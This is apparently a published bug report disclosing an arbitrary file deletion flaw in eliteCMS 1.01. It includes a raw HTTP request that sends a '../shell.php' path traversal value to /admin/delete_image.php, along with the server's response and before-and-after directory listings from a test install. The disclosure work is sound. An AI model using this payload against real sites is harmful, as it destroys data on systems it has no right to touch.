

main

...

bug_report / elitecms-1.01 / delet-file-1.md



debug601 Create delet-file-1.md

History

1 contributor

35 lines (23 sloc) | 1.33 KB

...

Elitecms v1.01 by elitecms has Delete any file

vendors: <https://elitecms.net/download.php>

Vulnerability File: /admin/delete_image.php?file=

Vulnerability location: /eliteCMS1.01/admin/delete_image.php?file=, file

Payload:

Here we delete the shel.php file in the root directory

```
GET /eliteCMS1.01/admin/delete_image.php?file=../shell.php HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```



Currently, when we do not send a request to delete the shell.php file, the shell.php file is still in the admin directory of the website

🏠 > D (D:) > phpStudy > PHPTutorial > WWW > eliteCMS1.01

名称	修改日期	类型	大小
admin	2022/5/10 10:31	文件夹	
includes	2022/5/10 10:31	文件夹	
setup	2022/5/10 10:31	文件夹	
templates	2022/5/10 10:31	文件夹	
uploads	2022/5/10 10:44	文件夹	
index.php	2008/8/18 17:24	PHP 文件	2 KB
php.ini	2008/8/19 16:19	配置设置	1 KB
README.txt	2008/8/23 13:24	文本文档	3 KB
shell.php	2022/5/10 10:44	PHP 文件	1 KB

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

```
GET /eliteCMS1.01/admin/delete_image.php?file=
../shell.php HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close

HTTP/1.1 302 Found
Date: Tue, 10 May 2022 03:22:05 GMT
Server: Apache/2.4.23 (win32) OpenSSL/1.0.2j PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 10 May 2022 03:22:05 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: manage_uploads.php?deleted=1
Content-Length: 0
Connection: close
Content-Type: text/html
```

By this time, shell.php has been deleted.

🏠 > D (D:) > phpStudy > PHPTutorial > WWW > eliteCMS1.01

名称	修改日期	类型	大小
admin	2022/5/10 10:31	文件夹	
includes	2022/5/10 10:31	文件夹	
setup	2022/5/10 10:31	文件夹	
templates	2022/5/10 10:31	文件夹	
uploads	2022/5/10 10:44	文件夹	
index.php	2008/8/18 17:24	PHP 文件	2 KB
php.ini	2008/8/19 16:19	配置设置	1 KB
README.txt	2008/8/23 13:24	文本文档	3 KB